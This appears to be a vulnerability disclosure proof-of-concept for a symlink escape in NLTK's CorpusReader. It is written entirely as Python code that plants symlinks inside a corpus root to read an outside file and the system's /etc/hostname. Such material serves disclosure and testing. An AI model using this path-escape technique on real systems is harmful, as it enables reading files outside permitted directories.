CVE-2026-70626: NLTK CorpusReader Symlink Escape Arbitrary File Read

import os
import tempfile
from nltk.corpus.reader.api import CorpusReader

# Setup: two temp dirs, one is the "corpus root", one is outside it
root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")

with open(outside_file, "w") as f:
    f.write("secret-data")

# Plant a symlink inside the corpus root that points to the outside dir
os.symlink(outside_dir, os.path.join(root, "link"))

# CorpusReader sees "link/secret.txt" -- lexically inside root, resolves outside
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
    print(f.read())   # prints: secret-data

# Also works against system files readable by the process:
os.symlink("/etc", os.path.join(root, "hostlink"))
corpus2 = CorpusReader(root, ["hostlink/hostname"])
with corpus2.open("hostlink/hostname") as f:
    print(f.read())   # prints: <hostname of the machine>